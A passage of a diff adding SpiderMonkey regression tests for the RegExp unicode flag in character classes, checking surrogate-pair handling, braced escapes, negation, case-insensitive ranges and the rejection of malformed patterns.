+assertEqArray(/[\s]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF"]);
+assertEqArray(/[\S]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+
+assertEqArray(/[\w]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+assertEqArray(/[\W]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF*"]);
+
+assertEqArray(/[\n]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\n"]);
+
+// non-BMP
+
+function testNonBMP(re) {
+ assertEqArray(re.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+ assertEqArray(re.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+ assertEqArray(re.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+ assertEqArray(re.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+ assertEqArray(re.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+ assertEqArray(re.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+ assertEqArray(re.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+ assertEqArray(re.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+}
+
+testNonBMP(/\D/u);
+testNonBMP(/\S/u);
+testNonBMP(/\W/u);
+
+testNonBMP(/[\D]/u);
+testNonBMP(/[\S]/u);
+testNonBMP(/[\W]/u);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-braced.js b/js/src/tests/non262/RegExp/unicode-class-braced.js
new file mode 100644
index 0000000000..4b59540129
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-braced.js
@@ -0,0 +1,236 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- braced pattern in RegExpUnicodeEscapeSequence in CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/[\u{41}]/u.exec("ABC"),
+ ["A"]);
+
+assertEqArray(/[\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/[\u{1F438}]/u.exec("\uD83D"),
+ null);
+assertEq(/[\u{1F438}]/u.exec("\uDC38"),
+ null);
+
+assertEqArray(/[\u{0}]/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/[\u{10FFFF}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+assertEqArray(/[\u{10ffff}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// leading 0
+assertEqArray(/[\u{0000000000000000000000}]/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/[\u{000000000000000010FFFF}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("[\\u{0}]", "u").exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(new RegExp("[\\u{41}]", "u").exec("ABC"),
+ ["A"]);
+assertEqArray(new RegExp("[\\u{1F438}]", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("[\\u{10FFFF}]", "u").exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+assertEqArray(new RegExp("[\\u{0000000000000000}]", "u").exec("\u{0}"),
+ ["\u{0}"]);
+
+assertEqArray(eval(`/[\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}]/u`).exec("\u{1234}"),
+ ["\u{1234}"]);
+assertEqArray(new RegExp(`[\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}]`, "u").exec("\u{1234}"),
+ ["\u{1234}"]);
+
+// ==== BMP + non-BMP ====
+
+assertEqArray(/[A\u{1F438}]/u.exec("A\u{1F438}"),
+ ["A"]);
+assertEqArray(/[A\u{1F438}]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+
+// lead-only target
+assertEqArray(/[A\u{1F438}]/u.exec("\uD83DA"),
+ ["A"]);
+assertEq(/[A\u{1F438}]/u.exec("\uD83D"),
+ null);
+
+// +
+assertEqArray(/[A\u{1F438}]+/u.exec("\u{1F438}A\u{1F438}A"),
+ ["\u{1F438}A\u{1F438}A"]);
+
+// trail surrogate + lead surrogate
+assertEqArray(/[A\u{1F438}]+/u.exec("\uD83D\uDC38A\uDC38\uD83DA"),
+ ["\uD83D\uDC38A"]);
+
+// ==== non-BMP + non-BMP ====
+
+assertEqArray(/[\u{1F418}\u{1F438}]/u.exec("\u{1F418}\u{1F438}"),
+ ["\u{1F418}"]);
+
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\u{1F418}\u{1F438}"),
+ ["\u{1F418}\u{1F438}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\u{1F418}\uDC38\uD83D"),
+ ["\u{1F418}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\uD83D\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\u{1F438}\uD83D"),
+ ["\u{1F438}"]);
+
+// trail surrogate + lead surrogate
+assertEq(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\uDC38\uD83D\uD83D"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead == to_lead) ====
+
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F418}"),
+ ["\u{1F418}"]);
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F427}"),
+ ["\u{1F427}"]);
+
+assertEq(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F417}"),
+ null);
+assertEq(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F439}"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead + 1 == to_lead) ====
+
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDD7C"),
+ ["\uD83C\uDD7C"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDF99"),
+ ["\uD83C\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDD7B"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead + 2 == to_lead) ====
+
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDD7C"),
+ ["\uD83C\uDD7C"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC29"),
+ ["\uD83E\uDC29"]);
+
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDF99"),
+ ["\uD83C\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDF99"),
+ ["\uD83D\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC00"),
+ ["\uD83E\uDC00"]);
+
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDD7B"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC30"),
+ null);
+
+// ==== non-BMP + non-BMP range (other) ====
+
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uDD64"),
+ ["\uD834\uDD64"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD836\uDF99"),
+ ["\uD836\uDF99"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD838\uDC00"),
+ ["\uD838\uDC00"]);
+
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uDD63"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uE000"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD835\uDB99"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83D\uDB99"),
+ null);
+
+// ==== BMP + non-BMP range ====
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("B"),
+ ["B"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("C"),
+ ["C"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uFFFF"),
+ ["\uFFFF"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD800\uDC00"),
+ ["\uD800\uDC00"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD800"),
+ ["\uD800"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDBFF"),
+ ["\uDBFF"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDC00"),
+ ["\uDC00"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDFFF"),
+ ["\uDFFF"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDC38"),
+ ["\uDC38"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+assertEq(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+assertEq(/[\u{42}-\u{1F438}]/u.exec("A"),
+ null);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/[\\u{-1}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{0.0}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{G}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{{]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{110000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{00110000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{100000000000000000000000000000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{ FFFF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FFFF }]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FF FF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{F F F F}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{100000001}]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-empty.js b/js/src/tests/non262/RegExp/unicode-class-empty.js
new file mode 100644
index 0000000000..4d187551f6
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-empty.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- empty class should not match anything.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/[]/u.exec("A"),
+ null);
+assertEq(/[]/u.exec("\uD83D"),
+ null);
+assertEq(/[]/u.exec("\uDC38"),
+ null);
+assertEq(/[]/u.exec("\uD83D\uDC38"),
+ null);
+
+assertEqArray(/[^]/u.exec("A"),
+ ["A"]);
+assertEqArray(/[^]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^]/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[^]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-ignoreCase.js b/js/src/tests/non262/RegExp/unicode-class-ignoreCase.js
new file mode 100644
index 0000000000..afa7705c72
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-ignoreCase.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag for CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEqArray(/[ABC]+/iu.exec("DCBAabcd"),
+ ["CBAabc"]);
+
+assertEqArray(/[A\u{10401}]+/iu.exec("A\u{10401}a\u{10429}"),
+ ["A\u{10401}a\u{10429}"]);
+
+assertEqArray(/[\u{10401}-\u{10404}\u{10408}-\u{1040B}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10401}-\u{10404}\u{10408}-\u{1040B}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+assertEqArray(/[\u{10429}-\u{1042C}\u{10430}-\u{10433}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10429}-\u{1042C}\u{10430}-\u{10433}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+assertEqArray(/[\u{10401}-\u{10404}\u{10430}-\u{10433}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10401}-\u{10404}\u{10430}-\u{10433}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-lead-trail.js b/js/src/tests/non262/RegExp/unicode-class-lead-trail.js
new file mode 100644
index 0000000000..c83bf937d4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-lead-trail.js
@@ -0,0 +1,142 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- lead and trail pattern in RegExpUnicodeEscapeSequence in CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/[\uD83D\uDC38]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(/[\uD83D\uDC38]/u.exec("\uD83D"),
+ null);
+assertEq(/[\uD83D\uDC38]/u.exec("\uDC38"),
+ null);
+
+// no unicode flag
+assertEqArray(/[\uD83D\uDC38]/.exec("\uD83D\uDC38"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\uDC38]/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\uDC38]/.exec("\uDC38"),
+ ["\uDC38"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("[\uD83D\uDC38]", "u").exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(new RegExp("[\uD83D\uDC38]", "u").exec("\uD83D"),
+ null);
+assertEq(new RegExp("[\uD83D\uDC38]", "u").exec("\uDC38"),
+ null);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uD83D\uDC38"),
+ ["\uD83D"]);
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uDC38"),
+ ["\uDC38"]);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/[\uD83D]/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/[\uD83D]/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/[\uD83D]/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/[\uD83D]/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/[\uD83D]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// no unicode flag
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDC00"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDFFF"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/[\uDC38]/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/[\uDC38]/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/[\uDC38]/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/[\uDC38]/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/[\uDC38]/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// no unicode flag
+assertEqArray(/[\uDC38]/.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uD800\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDBFF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== invalid trail ====
+
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D\u3042\u3042\uD83D"),
+ ["\uD83D\u3042\u3042\uD83D"]);
+
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D\u3042\u3042\uD83D"),
+ ["\uD83D\u3042\u3042\uD83D"]);
+
+assertEqArray(/[\uD83DA]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83DA]*/u.exec("\uD83DA"),
+ ["\uD83DA"]);
+assertEqArray(/[\uD83DA]*/u.exec("\uD83DAA\uD83D"),
+ ["\uD83DAA\uD83D"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/[\\u]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u000G]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u0.00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u000G]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u0.00]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-negated.js b/js/src/tests/non262/RegExp/unicode-class-negated.js
new file mode 100644
index 0000000000..0b573f6dcf
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-negated.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- negated CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== BMP ====
+
+assertEqArray(/[^A]/u.exec("ABC"),
+ ["B"]);
+assertEqArray(/[^A]/u.exec("A\u{1F438}C"),
+ ["\u{1F438}"]);
+assertEqArray(/[^A]/u.exec("A\uD83DC"),
+ ["\uD83D"]);
+assertEqArray(/[^A]/u.exec("A\uDC38C"),
+ ["\uDC38"]);
+
+assertEqArray(/[^\uE000]/u.exec("\uE000\uE001"),
+ ["\uE001"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\uDC38"),
+ ["\uDC38"]);
+
+// ==== non-BMP ====
+
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}A"),
+ ["A"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\u{1F439}"),
+ ["\u{1F439}"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\uDC38"),
+ ["\uDC38"]);
+
+// ==== lead-only ====
+
+assertEqArray(/[^\uD83D]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDBFF"),
+ ["\uDBFF"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uE000"),
+ ["\uE000"]);
+
+// ==== trail-only ====
+
+assertEqArray(/[^\uDC38]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uDC38]/u.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+assertEqArray(/[^\uDC38]/u.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+assertEqArray(/[^\uDC38]/u.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+assertEqArray(/[^\uDC38]/u.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-range.js b/js/src/tests/non262/RegExp/unicode-class-range.js
new file mode 100644
index 0000000000..5bb7575601
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-range.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- disallow range with CharacterClassEscape.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => eval(`/[\\w-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\W-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\d-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\D-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\s-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\S-\\uFFFF]/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\w]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\W]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\d]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\D]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\s]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\S]/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\w-\\w]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\W-\\W]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\d-\\d]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\D-\\D]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\s-\\s]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\S-\\S]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-raw.js b/js/src/tests/non262/RegExp/unicode-class-raw.js
new file mode 100644
index 0000000000..742fec2b4d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-raw.js
@@ -0,0 +1,65 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- raw unicode.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(eval(`/[\uD83D\uDC38]/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(eval(`/[\uD83D\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped (lead)
+assertEq(eval(`/[\\uD83D\uDC38]/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/[\\u{D83D}\uDC38]/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (trail)
+assertEq(eval(`/[\uD83D\\uDC38]/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/[\uD83D\\u{DC38}]/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/[\\uD83D\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/[\uD83D\\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// ==== RegExp constructor ====
+
+assertEqArray(new RegExp("[\uD83D\uDC38]", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped(lead)
+assertEq(new RegExp("[\\uD83D\uDC38]", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("[\\u{D83D}\uDC38]", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(trail)
